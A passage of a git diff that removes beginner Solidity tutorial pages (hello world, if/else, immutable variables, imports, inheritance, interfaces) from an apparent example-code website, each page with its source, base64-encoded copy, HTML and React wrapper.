"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVAovLyBjb21waWxlciB2ZXJzaW9uIG11c3QgYmUgZ3JlYXRlciB0aGFuIG9yIGVxdWFsIHRvIDAuOC4yMCBhbmQgbGVzcyB0aGFuIDAuOS4wCnByYWdtYSBzb2xpZGl0eSBeMC44LjIwOwoKY29udHJhY3QgSGVsbG9Xb3JsZCB7CiAgICBzdHJpbmcgcHVibGljIGdyZWV0ID0gIkhlbGxvIFdvcmxkISI7Cn0K", - }, -] - -const html = `

pragma specifies the compiler version of Solidity.

-
// SPDX-License-Identifier: MIT
-// compiler version must be greater than or equal to 0.8.20 and less than 0.9.0
-pragma solidity ^0.8.20;
-
-contract HelloWorld {
-    string public greet = "Hello World!";
-}
-
` - -export default html diff --git a/src/pages/hello-world/index.md b/src/pages/hello-world/index.md deleted file mode 100644 index 91d7a91cb..000000000 --- a/src/pages/hello-world/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Hello World -version: 0.8.20 -description: Hello world in Solidity -keywords: [contract, app, application, hello, world] ---- - -`pragma` specifies the compiler version of Solidity. - -```solidity -{{{HelloWorld}}} -``` diff --git a/src/pages/hello-world/index.tsx b/src/pages/hello-world/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/hello-world/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/if-else/IfElse.sol b/src/pages/if-else/IfElse.sol deleted file mode 100644 index 212e71001..000000000 --- a/src/pages/if-else/IfElse.sol +++ /dev/null @@ -1,25 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract IfElse { - function foo(uint x) public pure returns (uint) { - if (x < 10) { - return 0; - } else if (x < 20) { - return 1; - } else { - return 2; - } - } - - function ternary(uint _x) public pure returns (uint) { - // if (_x < 10) { - // return 1; - // } - // return 2; - - // shorthand way to write if / else statement - // the "?" operator is called the ternary operator - return _x < 10 ? 1 : 2; - } -} diff --git a/src/pages/if-else/index.html.ts b/src/pages/if-else/index.html.ts deleted file mode 100644 index 6e1a0de0a..000000000 --- a/src/pages/if-else/index.html.ts +++ /dev/null @@ -1,43 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "If / Else" -export const description = "If / Else conditional statement in Solidity" - -export const keywords = ["if", "else", "conditional", "statement", "statements"] - -export const codes = [ - { - fileName: "IfElse.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IElmRWxzZSB7CiAgICBmdW5jdGlvbiBmb28odWludCB4KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgaWYgKHggPCAxMCkgewogICAgICAgICAgICByZXR1cm4gMDsKICAgICAgICB9IGVsc2UgaWYgKHggPCAyMCkgewogICAgICAgICAgICByZXR1cm4gMTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICByZXR1cm4gMjsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdGVybmFyeSh1aW50IF94KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgLy8gaWYgKF94IDwgMTApIHsKICAgICAgICAvLyAgICAgcmV0dXJuIDE7CiAgICAgICAgLy8gfQogICAgICAgIC8vIHJldHVybiAyOwoKICAgICAgICAvLyBzaG9ydGhhbmQgd2F5IHRvIHdyaXRlIGlmIC8gZWxzZSBzdGF0ZW1lbnQKICAgICAgICAvLyB0aGUgIj8iIG9wZXJhdG9yIGlzIGNhbGxlZCB0aGUgdGVybmFyeSBvcGVyYXRvcgogICAgICAgIHJldHVybiBfeCA8IDEwID8gMSA6IDI7CiAgICB9Cn0K", - }, -] - -const html = `

Solidity supports conditional statements if, else if and else.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract IfElse {
-    function foo(uint x) public pure returns (uint) {
-        if (x < 10) {
-            return 0;
-        } else if (x < 20) {
-            return 1;
-        } else {
-            return 2;
-        }
-    }
-
-    function ternary(uint _x) public pure returns (uint) {
-        // if (_x < 10) {
-        //     return 1;
-        // }
-        // return 2;
-
-        // shorthand way to write if / else statement
-        // the "?" operator is called the ternary operator
-        return _x < 10 ? 1 : 2;
-    }
-}
-
` - -export default html diff --git a/src/pages/if-else/index.md b/src/pages/if-else/index.md deleted file mode 100644 index a5f8a6969..000000000 --- a/src/pages/if-else/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: If / Else -version: 0.8.20 -description: If / Else conditional statement in Solidity -keywords: [if, else, conditional, statement, statements] ---- - -Solidity supports conditional statements `if`, `else if` and `else`. - -```solidity -{{{IfElse}}} -``` diff --git a/src/pages/if-else/index.tsx b/src/pages/if-else/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/if-else/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/immutable/Immutable.sol b/src/pages/immutable/Immutable.sol deleted file mode 100644 index efcd19bc9..000000000 --- a/src/pages/immutable/Immutable.sol +++ /dev/null @@ -1,13 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract Immutable { - // coding convention to uppercase constant variables - address public immutable MY_ADDRESS; - uint public immutable MY_UINT; - - constructor(uint _myUint) { - MY_ADDRESS = msg.sender; - MY_UINT = _myUint; - } -} diff --git a/src/pages/immutable/index.html.ts b/src/pages/immutable/index.html.ts deleted file mode 100644 index 5cf079f69..000000000 --- a/src/pages/immutable/index.html.ts +++ /dev/null @@ -1,39 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Immutable" -export const description = "Immutable variables" - -export const keywords = [ - "constant", - "constants", - "immutable", - "immutables", - "data", - "variable", - "variables", -] - -export const codes = [ - { - fileName: "Immutable.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEltbXV0YWJsZSB7CiAgICAvLyBjb2RpbmcgY29udmVudGlvbiB0byB1cHBlcmNhc2UgY29uc3RhbnQgdmFyaWFibGVzCiAgICBhZGRyZXNzIHB1YmxpYyBpbW11dGFibGUgTVlfQUREUkVTUzsKICAgIHVpbnQgcHVibGljIGltbXV0YWJsZSBNWV9VSU5UOwoKICAgIGNvbnN0cnVjdG9yKHVpbnQgX215VWludCkgewogICAgICAgIE1ZX0FERFJFU1MgPSBtc2cuc2VuZGVyOwogICAgICAgIE1ZX1VJTlQgPSBfbXlVaW50OwogICAgfQp9Cg==", - }, -] - -const html = `

Immutable variables are like constants. Values of immutable variables can be set inside the constructor but cannot be modified afterwards.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract Immutable {
-    // coding convention to uppercase constant variables
-    address public immutable MY_ADDRESS;
-    uint public immutable MY_UINT;
-
-    constructor(uint _myUint) {
-        MY_ADDRESS = msg.sender;
-        MY_UINT = _myUint;
-    }
-}
-
` - -export default html diff --git a/src/pages/immutable/index.md b/src/pages/immutable/index.md deleted file mode 100644 index fc7cba9a3..000000000 --- a/src/pages/immutable/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Immutable -version: 0.8.20 -description: Immutable variables -keywords: [constant, constants, immutable, immutables, data, variable, variables] ---- - -Immutable variables are like constants. Values of immutable variables can be set inside the constructor but cannot be modified afterwards. - -```solidity -{{{Immutable}}} -``` diff --git a/src/pages/immutable/index.tsx b/src/pages/immutable/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/immutable/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/import/Foo.sol b/src/pages/import/Foo.sol deleted file mode 100644 index b10f6af05..000000000 --- a/src/pages/import/Foo.sol +++ /dev/null @@ -1,17 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -struct Point { - uint x; - uint y; -} - -error Unauthorized(address caller); - -function add(uint x, uint y) pure returns (uint) { - return x + y; -} - -contract Foo { - string public name = "Foo"; -} diff --git a/src/pages/import/Import.sol b/src/pages/import/Import.sol deleted file mode 100644 index 6e20d9642..000000000 --- a/src/pages/import/Import.sol +++ /dev/null @@ -1,18 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -// import Foo.sol from current directory -import "./Foo.sol"; - -// import {symbol1 as alias, symbol2} from "filename"; -import {Unauthorized, add as func, Point} from "./Foo.sol"; - -contract Import { - // Initialize Foo.sol - Foo public foo = new Foo(); - - // Test Foo.sol by getting it's name. - function getFooName() public view returns (string memory) { - return foo.name(); - } -} diff --git a/src/pages/import/index.html.ts b/src/pages/import/index.html.ts deleted file mode 100644 index 72cfa2a51..000000000 --- a/src/pages/import/index.html.ts +++ /dev/null @@ -1,71 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Import" -export const description = "Learn how to import other Solidity files" - -export const keywords = ["import"] - -export const codes = [ - { - fileName: "Foo.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCnN0cnVjdCBQb2ludCB7CiAgICB1aW50IHg7CiAgICB1aW50IHk7Cn0KCmVycm9yIFVuYXV0aG9yaXplZChhZGRyZXNzIGNhbGxlcik7CgpmdW5jdGlvbiBhZGQodWludCB4LCB1aW50IHkpIHB1cmUgcmV0dXJucyAodWludCkgewogICAgcmV0dXJuIHggKyB5Owp9Cgpjb250cmFjdCBGb28gewogICAgc3RyaW5nIHB1YmxpYyBuYW1lID0gIkZvbyI7Cn0K", - }, - { - fileName: "Import.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8vIGltcG9ydCBGb28uc29sIGZyb20gY3VycmVudCBkaXJlY3RvcnkKaW1wb3J0ICIuL0Zvby5zb2wiOwoKLy8gaW1wb3J0IHtzeW1ib2wxIGFzIGFsaWFzLCBzeW1ib2wyfSBmcm9tICJmaWxlbmFtZSI7CmltcG9ydCB7VW5hdXRob3JpemVkLCBhZGQgYXMgZnVuYywgUG9pbnR9IGZyb20gIi4vRm9vLnNvbCI7Cgpjb250cmFjdCBJbXBvcnQgewogICAgLy8gSW5pdGlhbGl6ZSBGb28uc29sCiAgICBGb28gcHVibGljIGZvbyA9IG5ldyBGb28oKTsKCiAgICAvLyBUZXN0IEZvby5zb2wgYnkgZ2V0dGluZyBpdCdzIG5hbWUuCiAgICBmdW5jdGlvbiBnZXRGb29OYW1lKCkgcHVibGljIHZpZXcgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiBmb28ubmFtZSgpOwogICAgfQp9Cg==", - }, -] - -const html = `

You can import local and external files in Solidity.

-

Local

-

Here is our folder structure.

-
├── Import.sol
-└── Foo.sol
-

Foo.sol

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-struct Point {
-    uint x;
-    uint y;
-}
-
-error Unauthorized(address caller);
-
-function add(uint x, uint y) pure returns (uint) {
-    return x + y;
-}
-
-contract Foo {
-    string public name = "Foo";
-}
-

Import.sol

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-// import Foo.sol from current directory
-import "./Foo.sol";
-
-// import {symbol1 as alias, symbol2} from "filename";
-import {Unauthorized, add as func, Point} from "./Foo.sol";
-
-contract Import {
-    // Initialize Foo.sol
-    Foo public foo = new Foo();
-
-    // Test Foo.sol by getting it's name.
-    function getFooName() public view returns (string memory) {
-        return foo.name();
-    }
-}
-

External

-

You can also import from GitHub by simply copying the url

-
// https://github.com/owner/repo/blob/branch/path/to/Contract.sol
-import "https://github.com/owner/repo/blob/branch/path/to/Contract.sol";
-
-// Example import ECDSA.sol from openzeppelin-contract repo, release-v4.5 branch
-// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol
-import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol";
-
` - -export default html diff --git a/src/pages/import/index.md b/src/pages/import/index.md deleted file mode 100644 index 04b32fce7..000000000 --- a/src/pages/import/index.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Import -version: 0.8.20 -description: Learn how to import other Solidity files -keywords: [import] ---- - -You can import local and external files in Solidity. - -### Local - -Here is our folder structure. - -``` -├── Import.sol -└── Foo.sol -``` - -Foo.sol - -```solidity -{{{Foo}}} -``` - -Import.sol - -```solidity -{{{Import}}} -``` - -### External - -You can also import from [GitHub](https://github.com) by simply copying the url - -```solidity -// https://github.com/owner/repo/blob/branch/path/to/Contract.sol -import "https://github.com/owner/repo/blob/branch/path/to/Contract.sol"; - -// Example import ECDSA.sol from openzeppelin-contract repo, release-v4.5 branch -// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol -import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol"; -``` diff --git a/src/pages/import/index.tsx b/src/pages/import/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/import/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/index.tsx b/src/pages/index.tsx index 58dd3718b..ab1d3834b 100644 --- a/src/pages/index.tsx +++ b/src/pages/index.tsx @@ -97,7 +97,7 @@ export default function HomePage() { ))} -
+ {/*

Translations

{TRANSLATIONS.map(({ lang, url }) => (
  • @@ -106,7 +106,7 @@ export default function HomePage() {
  • ))} -
    +
    */} ) } diff --git a/src/pages/inheritance/Inheritance.sol b/src/pages/inheritance/Inheritance.sol deleted file mode 100644 index b8400d7f8..000000000 --- a/src/pages/inheritance/Inheritance.sol +++ /dev/null @@ -1,61 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -/* Graph of inheritance - A - / \ - B C - / \ / -F D,E - -*/ - -contract A { - function foo() public pure virtual returns (string memory) { - return "A"; - } -} - -// Contracts inherit other contracts by using the keyword 'is'. -contract B is A { - // Override A.foo() - function foo() public pure virtual override returns (string memory) { - return "B"; - } -} - -contract C is A { - // Override A.foo() - function foo() public pure virtual override returns (string memory) { - return "C"; - } -} - -// Contracts can inherit from multiple parent contracts. -// When a function is called that is defined multiple times in -// different contracts, parent contracts are searched from -// right to left, and in depth-first manner. - -contract D is B, C { - // D.foo() returns "C" - // since C is the right most parent contract with function foo() - function foo() public pure override(B, C) returns (string memory) { - return super.foo(); - } -} - -contract E is C, B { - // E.foo() returns "B" - // since B is the right most parent contract with function foo() - function foo() public pure override(C, B) returns (string memory) { - return super.foo(); - } -} - -// Inheritance must be ordered from “most base-like” to “most derived”. -// Swapping the order of A and B will throw a compilation error. -contract F is A, B { - function foo() public pure override(A, B) returns (string memory) { - return super.foo(); - } -} diff --git a/src/pages/inheritance/index.html.ts b/src/pages/inheritance/index.html.ts deleted file mode 100644 index a631b4ff8..000000000 --- a/src/pages/inheritance/index.html.ts +++ /dev/null @@ -1,91 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Inheritance" -export const description = "Example of inheritance in Solidity" - -export const keywords = [ - "inheritance", - "super", - "override", - "virtual", - "is", - "contract", - "contracts", -] - -export const codes = [ - { - fileName: "Inheritance.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qIEdyYXBoIG9mIGluaGVyaXRhbmNlCiAgICBBCiAgIC8gXAogIEIgICBDCiAvIFwgLwpGICBELEUKCiovCgpjb250cmFjdCBBIHsKICAgIGZ1bmN0aW9uIGZvbygpIHB1YmxpYyBwdXJlIHZpcnR1YWwgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAiQSI7CiAgICB9Cn0KCi8vIENvbnRyYWN0cyBpbmhlcml0IG90aGVyIGNvbnRyYWN0cyBieSB1c2luZyB0aGUga2V5d29yZCAnaXMnLgpjb250cmFjdCBCIGlzIEEgewogICAgLy8gT3ZlcnJpZGUgQS5mb28oKQogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIHB1cmUgdmlydHVhbCBvdmVycmlkZSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuICJCIjsKICAgIH0KfQoKY29udHJhY3QgQyBpcyBBIHsKICAgIC8vIE92ZXJyaWRlIEEuZm9vKCkKICAgIGZ1bmN0aW9uIGZvbygpIHB1YmxpYyBwdXJlIHZpcnR1YWwgb3ZlcnJpZGUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAiQyI7CiAgICB9Cn0KCi8vIENvbnRyYWN0cyBjYW4gaW5oZXJpdCBmcm9tIG11bHRpcGxlIHBhcmVudCBjb250cmFjdHMuCi8vIFdoZW4gYSBmdW5jdGlvbiBpcyBjYWxsZWQgdGhhdCBpcyBkZWZpbmVkIG11bHRpcGxlIHRpbWVzIGluCi8vIGRpZmZlcmVudCBjb250cmFjdHMsIHBhcmVudCBjb250cmFjdHMgYXJlIHNlYXJjaGVkIGZyb20KLy8gcmlnaHQgdG8gbGVmdCwgYW5kIGluIGRlcHRoLWZpcnN0IG1hbm5lci4KCmNvbnRyYWN0IEQgaXMgQiwgQyB7CiAgICAvLyBELmZvbygpIHJldHVybnMgIkMiCiAgICAvLyBzaW5jZSBDIGlzIHRoZSByaWdodCBtb3N0IHBhcmVudCBjb250cmFjdCB3aXRoIGZ1bmN0aW9uIGZvbygpCiAgICBmdW5jdGlvbiBmb28oKSBwdWJsaWMgcHVyZSBvdmVycmlkZShCLCBDKSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIHN1cGVyLmZvbygpOwogICAgfQp9Cgpjb250cmFjdCBFIGlzIEMsIEIgewogICAgLy8gRS5mb28oKSByZXR1cm5zICJCIgogICAgLy8gc2luY2UgQiBpcyB0aGUgcmlnaHQgbW9zdCBwYXJlbnQgY29udHJhY3Qgd2l0aCBmdW5jdGlvbiBmb28oKQogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIHB1cmUgb3ZlcnJpZGUoQywgQikgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiBzdXBlci5mb28oKTsKICAgIH0KfQoKLy8gSW5oZXJpdGFuY2UgbXVzdCBiZSBvcmRlcmVkIGZyb20g4oCcbW9zdCBiYXNlLWxpa2XigJ0gdG8g4oCcbW9zdCBkZXJpdmVk4oCdLgovLyBTd2FwcGluZyB0aGUgb3JkZXIgb2YgQSBhbmQgQiB3aWxsIHRocm93IGEgY29tcGlsYXRpb24gZXJyb3IuCmNvbnRyYWN0IEYgaXMgQSwgQiB7CiAgICBmdW5jdGlvbiBmb28oKSBwdWJsaWMgcHVyZSBvdmVycmlkZShBLCBCKSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIHN1cGVyLmZvbygpOwogICAgfQp9Cg==", - }, -] - -const html = `

    Solidity supports multiple inheritance. Contracts can inherit other contract by using the is keyword.

    -

    Function that is going to be overridden by a child contract must be declared as virtual.

    -

    Function that is going to override a parent function must use the keyword override.

    -

    Order of inheritance is important.

    -

    You have to list the parent contracts in the order from “most base-like” to “most derived”.

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.20;
    -
    -/* Graph of inheritance
    -    A
    -   / \\
    -  B   C
    - / \\ /
    -F  D,E
    -
    -*/
    -
    -contract A {
    -    function foo() public pure virtual returns (string memory) {
    -        return "A";
    -    }
    -}
    -
    -// Contracts inherit other contracts by using the keyword 'is'.
    -contract B is A {
    -    // Override A.foo()
    -    function foo() public pure virtual override returns (string memory) {
    -        return "B";
    -    }
    -}
    -
    -contract C is A {
    -    // Override A.foo()
    -    function foo() public pure virtual override returns (string memory) {
    -        return "C";
    -    }
    -}
    -
    -// Contracts can inherit from multiple parent contracts.
    -// When a function is called that is defined multiple times in
    -// different contracts, parent contracts are searched from
    -// right to left, and in depth-first manner.
    -
    -contract D is B, C {
    -    // D.foo() returns "C"
    -    // since C is the right most parent contract with function foo()
    -    function foo() public pure override(B, C) returns (string memory) {
    -        return super.foo();
    -    }
    -}
    -
    -contract E is C, B {
    -    // E.foo() returns "B"
    -    // since B is the right most parent contract with function foo()
    -    function foo() public pure override(C, B) returns (string memory) {
    -        return super.foo();
    -    }
    -}
    -
    -// Inheritance must be ordered from “most base-like” to “most derived”.
    -// Swapping the order of A and B will throw a compilation error.
    -contract F is A, B {
    -    function foo() public pure override(A, B) returns (string memory) {
    -        return super.foo();
    -    }
    -}
    -
    ` - -export default html diff --git a/src/pages/inheritance/index.md b/src/pages/inheritance/index.md deleted file mode 100644 index cb8769ede..000000000 --- a/src/pages/inheritance/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Inheritance -version: 0.8.20 -description: Example of inheritance in Solidity -keywords: [inheritance, super, override, virtual, is, contract, contracts] ---- - -Solidity supports multiple inheritance. Contracts can inherit other contract by using the `is` keyword. - -Function that is going to be overridden by a child contract must be declared as `virtual`. - -Function that is going to override a parent function must use the keyword `override`. - -Order of inheritance is important. - -You have to list the parent contracts in the order from “most base-like” to “most derived”. - -```solidity -{{{Inheritance}}} -``` diff --git a/src/pages/inheritance/index.tsx b/src/pages/inheritance/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/inheritance/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/interface/Interface.sol b/src/pages/interface/Interface.sol deleted file mode 100644 index 2d1d07372..000000000 --- a/src/pages/interface/Interface.sol +++ /dev/null @@ -1,53 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract Counter { - uint public count; - - function increment() external { - count += 1; - } -} - -interface ICounter { - function count() external view returns (uint); - - function increment() external; -} - -contract MyContract { - function incrementCounter(address _counter) external { - ICounter(_counter).increment(); - } - - function getCount(address _counter) external view returns (uint) { - return ICounter(_counter).count(); - } -} - -// Uniswap example -interface UniswapV2Factory { - function getPair( - address tokenA, - address tokenB - ) external view returns (address pair); -} - -interface UniswapV2Pair { - function getReserves() - external - view - returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); -} - -contract UniswapExample { - address private factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; - address private dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F; - address private weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; - - function getTokenReserves() external view returns (uint, uint) { - address pair = UniswapV2Factory(factory).getPair(dai, weth); - (uint reserve0, uint reserve1, ) = UniswapV2Pair(pair).getReserves(); - return (reserve0, reserve1); - } -} diff --git a/src/pages/interface/index.html.ts b/src/pages/interface/index.html.ts deleted file mode 100644 index 695c820a6..000000000 --- a/src/pages/interface/index.html.ts +++ /dev/null @@ -1,79 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Interface" -export const description = "An example of interface in Solidity" - -export const keywords = ["interface", "interfaces", "contract", "contracts"] - -export const codes = [ - { - fileName: "Interface.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludCBwdWJsaWMgY291bnQ7CgogICAgZnVuY3Rpb24gaW5jcmVtZW50KCkgZXh0ZXJuYWwgewogICAgICAgIGNvdW50ICs9IDE7CiAgICB9Cn0KCmludGVyZmFjZSBJQ291bnRlciB7CiAgICBmdW5jdGlvbiBjb3VudCgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludCk7CgogICAgZnVuY3Rpb24gaW5jcmVtZW50KCkgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IE15Q29udHJhY3QgewogICAgZnVuY3Rpb24gaW5jcmVtZW50Q291bnRlcihhZGRyZXNzIF9jb3VudGVyKSBleHRlcm5hbCB7CiAgICAgICAgSUNvdW50ZXIoX2NvdW50ZXIpLmluY3JlbWVudCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldENvdW50KGFkZHJlc3MgX2NvdW50ZXIpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludCkgewogICAgICAgIHJldHVybiBJQ291bnRlcihfY291bnRlcikuY291bnQoKTsKICAgIH0KfQoKLy8gVW5pc3dhcCBleGFtcGxlCmludGVyZmFjZSBVbmlzd2FwVjJGYWN0b3J5IHsKICAgIGZ1bmN0aW9uIGdldFBhaXIoCiAgICAgICAgYWRkcmVzcyB0b2tlbkEsCiAgICAgICAgYWRkcmVzcyB0b2tlbkIKICAgICkgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChhZGRyZXNzIHBhaXIpOwp9CgppbnRlcmZhY2UgVW5pc3dhcFYyUGFpciB7CiAgICBmdW5jdGlvbiBnZXRSZXNlcnZlcygpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDExMiByZXNlcnZlMCwgdWludDExMiByZXNlcnZlMSwgdWludDMyIGJsb2NrVGltZXN0YW1wTGFzdCk7Cn0KCmNvbnRyYWN0IFVuaXN3YXBFeGFtcGxlIHsKICAgIGFkZHJlc3MgcHJpdmF0ZSBmYWN0b3J5ID0gMHg1QzY5YkVlNzAxZWY4MTRhMkI2YTNFREQ0QjE2NTJDQjljYzVhQTZmOwogICAgYWRkcmVzcyBwcml2YXRlIGRhaSA9IDB4NkIxNzU0NzRFODkwOTRDNDREYTk4Yjk1NEVlZGVBQzQ5NTI3MWQwRjsKICAgIGFkZHJlc3MgcHJpdmF0ZSB3ZXRoID0gMHhDMDJhYUEzOWIyMjNGRThEMEEwZTVDNEYyN2VBRDkwODNDNzU2Q2MyOwoKICAgIGZ1bmN0aW9uIGdldFRva2VuUmVzZXJ2ZXMoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQsIHVpbnQpIHsKICAgICAgICBhZGRyZXNzIHBhaXIgPSBVbmlzd2FwVjJGYWN0b3J5KGZhY3RvcnkpLmdldFBhaXIoZGFpLCB3ZXRoKTsKICAgICAgICAodWludCByZXNlcnZlMCwgdWludCByZXNlcnZlMSwgKSA9IFVuaXN3YXBWMlBhaXIocGFpcikuZ2V0UmVzZXJ2ZXMoKTsKICAgICAgICByZXR1cm4gKHJlc2VydmUwLCByZXNlcnZlMSk7CiAgICB9Cn0K", - }, -] - -const html = `

    You can interact with other contracts by declaring an Interface.

    -

    Interface

    -
      -
    • cannot have any functions implemented
    • -
    • can inherit from other interfaces
    • -
    • all declared functions must be external
    • -
    • cannot declare a constructor
    • -
    • cannot declare state variables
    • -
    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.20;
    -
    -contract Counter {
    -    uint public count;
    -
    -    function increment() external {
    -        count += 1;
    -    }
    -}
    -
    -interface ICounter {
    -    function count() external view returns (uint);
    -
    -    function increment() external;
    -}
    -
    -contract MyContract {
    -    function incrementCounter(address _counter) external {
    -        ICounter(_counter).increment();
    -    }
    -
    -    function getCount(address _counter) external view returns (uint) {
    -        return ICounter(_counter).count();
    -    }
    -}
    -
    -// Uniswap example
    -interface UniswapV2Factory {
    -    function getPair(
    -        address tokenA,
    -        address tokenB
    -    ) external view returns (address pair);
    -}
    -
    -interface UniswapV2Pair {
    -    function getReserves()
    -        external
    -        view
    -        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    -}
    -
    -contract UniswapExample {
    -    address private factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
    -    address private dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
    -    address private weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    -
    -    function getTokenReserves() external view returns (uint, uint) {
    -        address pair = UniswapV2Factory(factory).getPair(dai, weth);
    -        (uint reserve0, uint reserve1, ) = UniswapV2Pair(pair).getReserves();
    -        return (reserve0, reserve1);
    -    }
    -}
    -
